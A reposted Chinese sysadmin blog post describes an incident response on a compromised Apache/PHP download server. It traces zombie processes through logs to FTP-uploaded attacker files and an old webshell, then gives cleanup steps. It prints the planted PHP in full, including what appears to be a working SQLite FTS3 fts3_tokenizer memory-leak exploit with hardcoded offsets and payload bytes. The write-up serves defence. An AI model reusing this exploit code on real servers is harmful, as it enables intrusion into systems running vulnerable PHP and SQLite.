一次linux服务器被入侵报警有大量僵尸进程的问题处理

转载

mob604756f66df5 2021-02-04 09:28:00

文章标签 php apache python ubuntu linux 文章分类 Python 后端开发

服务器报警有二十多个僵尸进程

1.当时是想可能是服务器经常有人传文件时间久了容易产生僵尸进程，于是上去就结束了这些僵尸进程，发现马上又起来了多个僵尸进程，往复几次后发现这些进程根本就杀不死

而批量杀死所有僵尸进程可使用如下命令：

ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9

ps -ef|more 看到大量如下进程

[down:/usr/local]# ps -ef|grep httpd

apache    29720   8320  0 18:13 ?        00:00:00 /usr/local/httpd-2.2.26/bin/httpd -k start
apache    29859   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29860   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29861   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29862   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29863   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29864   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29865   8320  0 18:13 ?        00:00:00 [httpd] <defunct>
apache    29866   8320  0 18:13 ?        00:00:00 [httpd] <defunct>

[down:/usr/local/worksh]# ps -ef|grep rotate
root      37889  8320  0 19:22 ?        00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/access.log.%Y-%m-%d 86400
root      37890  8320  0 19:22 ?        00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/md5.chinasoft.cn_access.log.%Y-%m-%d 86400
root      37891  8320  0 19:22 ?        00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/rsyncbetweenservers.chinasoft.com_access.log.%Y-%m-%d 86400
root      37892  8320  0 19:22 ?        00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/downpool.chinasoft.cc_access.log.%Y-%m-%d 86400
root      37893  8320  0 19:22 ?        00:00:00 /usr/local/apache2/bin/rotatelogs -l /data/www/logs/apache_log/access/down.chinasoft.tw_access.log.%Y-%m-%d 86400
...

# 看了下apache的错误日志

大量的rotatelogs进程是apache产生的，httpd进程就是僵尸状态

在网上找了资料，说是有可能内存泄露，需要清理一下缓存，清理后问题依旧，且服务器内存充足，排除这个问题，那就应该是php程序引发的了

[down:/usr/local]# tail -f /data/www/logs/apache_log/error/error.log.2021-01-28 
[Thu Jan 28 18:14:16 2021] [notice] child pid 31134 exit signal Segmentation fault (11)
[Thu Jan 28 18:14:16 2021] [notice] child pid 31135 exit signal Segmentation fault (11)
[Thu Jan 28 18:14:16 2021] [notice] child pid 31136 exit signal Segmentation fault (11)
[Thu Jan 28 18:14:16 2021] [notice] child pid 31137 exit signal Segmentation fault (11)
[Thu Jan 28 18:14:16 2021] [notice] child pid 31138 exit signal Segmentation fault (11)
[Thu Jan 28 18:14:16 2021] [notice] child pid 31139 exit signal Segmentation fault (11)

2.看了一下nginx访问量比较大站点的日志，发现有类似如下访问，看日志就发现有异常

manx.php

46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776 
46.18.204.142 - - [28/Jan/2021:16:56:19 -0800] - - "GET /intel/manx.php?f=139937140374209&t=139937140379008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.693 
46.18.204.142 - - [28/Jan/2021:16:56:28 -0800] - - "GET /intel/manx.php?f=139937140369409&t=139937140374208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.766 
46.18.204.142 - - [28/Jan/2021:16:56:38 -0800] - - "GET /intel/manx.php?f=139937140364609&t=139937140369408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.755 
46.18.204.142 - - [28/Jan/2021:16:56:48 -0800] - - "GET /intel/manx.php?f=139937140359809&t=139937140364608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.696 
46.18.204.142 - - [28/Jan/2021:16:56:57 -0800] - - "GET /intel/manx.php?f=139937140355009&t=139937140359808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.759 
46.18.204.142 - - [28/Jan/2021:16:57:07 -0800] - - "GET /intel/manx.php?f=139937140350209&t=139937140355008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.719 
46.18.204.142 - - [28/Jan/2021:16:57:16 -0800] - - "GET /intel/manx.php?f=139937140345409&t=139937140350208 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.775 
46.18.204.142 - - [28/Jan/2021:16:57:25 -0800] - - "GET /intel/manx.php?f=139937140340609&t=139937140345408 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.767 
46.18.204.142 - - [28/Jan/2021:16:57:35 -0800] - - "GET /intel/manx.php?f=139937140335809&t=139937140340608 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 9.704 
46.18.204.142 - - [28/Jan/2021:16:57:45 -0800] - - "GET /intel/manx.php?f=139937140331009&t=139937140335808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.758 
46.18.204.142 - - [28/Jan/2021:16:57:54 -0800] - - "GET /intel/manx.php?f=139937140326209&t=139937140331008 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.773

inter.php的日志

127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750048 HTTP/1.1" 502 647 "-" "-" 0.002 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750064 HTTP/1.1" 502 647 "-" "-" 0.003 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750080 HTTP/1.1" 502 647 "-" "-" 0.004 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750096 HTTP/1.1" 502 647 "-" "-" 0.002 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750112 HTTP/1.1" 502 647 "-" "-" 0.002 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750128 HTTP/1.1" 502 647 "-" "-" 0.002 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750144 HTTP/1.1" 502 647 "-" "-" 0.004 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750160 HTTP/1.1" 502 647 "-" "-" 0.002 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750176 HTTP/1.1" 502 647 "-" "-" 0.003 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750192 HTTP/1.1" 502 647 "-" "-" 0.003 
127.0.0.1 - - [28/Jan/2021:16:03:57 -0800] - - "GET /intel/intel.php?s=139937141750208 HTTP/1.1" 502 647 "-" "-" 0.002

在服务器上找到如下代码，虽然看不懂，但是大概能猜出来，内存泄露和这些程序有关，直接删掉，僵尸进程就不会继续产生了，问题得到控制

manx.php

<?php

    $start = $_GET["f"];
    $end = $_GET["t"];

    for($i=$start;$i<=$end;$i++){

        if($i%16==0){

            $ch = curl_init('http://127.0.0.1/intel/intel.php?s='.$i);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: down.chinasoft.com'));
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_exec($ch);

        }

    }

?>

inter.php

<?php

$db = new SQLite3(':memory:');

$offset1 = -0x5810;
$offset2 = -0x16b0;

function flip($val) {
  $len = strlen($val);
  $result = '';
  for ($i = $len; $i > 2; $i-=2) {
    $result .= substr($val, $i - 2, 2);
  }
  $result .= substr($val, 0, $i);
  $result .= str_repeat('0', 16 - $len);  
  return $result;
}

$simpleCreate = intval($_GET["s"]);
$sC = flip(sprintf('%016X', $simpleCreate));
$sExtra = "A07D480000000000709F5F0000000000B07D480000000000D03F4C0000000000";

$h = fopen("all.txt","a");
fwrite($h, $simpleCreate.PHP_EOL);
fclose($h);

$query = "INSERT INTO vt VALUES (x'"."4142434444434241"."0000000000000000".$sC.$sExtra."');";

$a1 = $db->querySingle("CREATE VIRTUAL TABLE vt USING FTS3(content TEXT);");
$a2 = $db->querySingle($query);
$a3 = $db->querySingle("SELECT hex(vt) FROM vt WHERE content MATCH (x'4142434444434241');");

$leak = intval(flip($a3), 16);
$fake_token1 = dechex($leak + $offset1 + 8);
$fake_token2 = dechex($leak + $offset2 + 8);

$query = "SELECT hex(fts3_tokenizer('simple'));";
$real_token = flip($db->querySingle($query));

$query = "SELECT hex(fts3_tokenizer('simple', x'" .  flip(sprintf('%016X', $leak + $offset1 + 8)) . "'));";
$new_token = flip($db->querySingle($query), true);

$query = "CREATE VIRTUAL TABLE vt2 USING fts3;";
$rc = $db->querySingle($query);

$h = fopen("valid.txt","a");
fwrite($h, $simpleCreate.PHP_EOL);
fclose($h);

?>

3.这些程序是怎么来的? 直觉告诉我服务器被黑了

因为是下载服务器，php这种可以执行程序的文件很少，找了一下所有的php文件，发现 filmp.php 这个文件名有点问题，访问了一下这个文件，一看就知道是后门，且加密了，看了下文件的时间发现是 2008年12月左右上传的，说明这个后门存在了十多年

[/www]# find /www -type f -name "*.php"
/www/down.chinasoft.kr/httpdocs/down_new.php
/www/down.chinasoft.co.jp/httpdocs/down_new.php
/www/down.nl.chinasoft.com/httpdocs/down_new.php
/www/down.chinasoft.com/httpdocs/affiliates/presentation-pro/filmp.php
/www/down.chinasoft.com/httpdocs/down.php
/www/down.chinasoft.com/httpdocs/down_new.php
/www/down.chinasoft.com/httpdocs/temp/upgrade.inc.php
/www/down.chinasoft.com/httpdocs/drfonefull/daemon/CheckDaemonVersionName.php

一次linux服务器被入侵报警有大量僵尸进程的问题处理_apache

过滤了一下这个文件的日志，发现有访问记录

5.61.38.182 - - [28/Jan/2021:16:01:48 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.604 
5.61.38.182 - - [28/Jan/2021:16:02:32 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.597 
5.61.38.182 - - [28/Jan/2021:16:03:59 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1254 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.283 
5.61.38.182 - - [28/Jan/2021:16:06:54 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.026 
5.61.38.182 - - [28/Jan/2021:16:06:55 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1096 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.019 
5.61.38.182 - - [28/Jan/2021:16:07:00 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 2799 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 
5.61.38.182 - - [28/Jan/2021:16:10:24 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 235 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.025 
5.61.38.182 - - [28/Jan/2021:16:10:27 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 0 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.024 
5.61.38.182 - - [28/Jan/2021:16:16:10 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1099 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.287 
5.61.38.182 - - [28/Jan/2021:16:41:45 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1100 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.389 
5.61.38.182 - - [28/Jan/2021:16:41:49 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.913 
5.61.38.182 - - [28/Jan/2021:17:20:47 -0800] - - "POST /affiliates/presentation-pro/filmp.php HTTP/1.1" 200 1103 "http://down.chinasoft.com/affiliates/presentation-pro/filmp.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0" 0.828

看了下ftp的日志发现有记录

[down:/usr/local/proftpd/var]# grep -ri "filmp.php" transfer.log |more
[20/Jan/2021:18:13:36 +0000]   46.18.204.142      down.chinasoft.com      STOR      /www/down.chinasoft.com/httpdocs/filmp.php      226      111026
Wed Jan 20 18:13:36 2021 0 46.18.204.142 111026 /www/down.chinasoft.com/httpdocs/filmp.php a _ i r down.chinasoft.com ftp 0 * c

ftp中的ip地址和nginx访问中的ip地址对应上了，攻击导致内存溢出的文件应该是通过ftp上传的

46.18.204.142 - - [28/Jan/2021:16:56:09 -0800] - - "GET /intel/manx.php?f=139937140379009&t=139937140383808 HTTP/1.1" 200 0 "-" "python-requests/2.23.0" 8.776

看了下防火墙的配置，发现ftp端口对外开放了，要么是ftp有漏洞，要么账号密码被人破解了，于是关闭ftp对外的开放

通过访问ip的对比，可以知道导致这次问题的程序主要是通过 ftp 的漏洞进来的，和上传webshell后门的不是同一个，如果不是因为程序异常导致异常报警，可能这个对系统有巨大杀伤力的 webshell 后门短时间内不会被发现，对发生的问题保持一定的敏感度是很有必要的

问题的处理流程

1.通过top iftop netstat

ps -ef|more

查看系统的基本情况

2.根据nginx,apache日志，ftp、业务日志能看出一些基本的问题

3.全面杀毒，扫描webshell等后门程序

4.对不必要的端口进行关闭，并对其他类似服务器进行扫描和关闭

本文章为转载内容，我们尊重原作者对文章享有的著作权。如有内容错误或侵权问题，欢迎原作者联系我们进行内容更正或删除文章。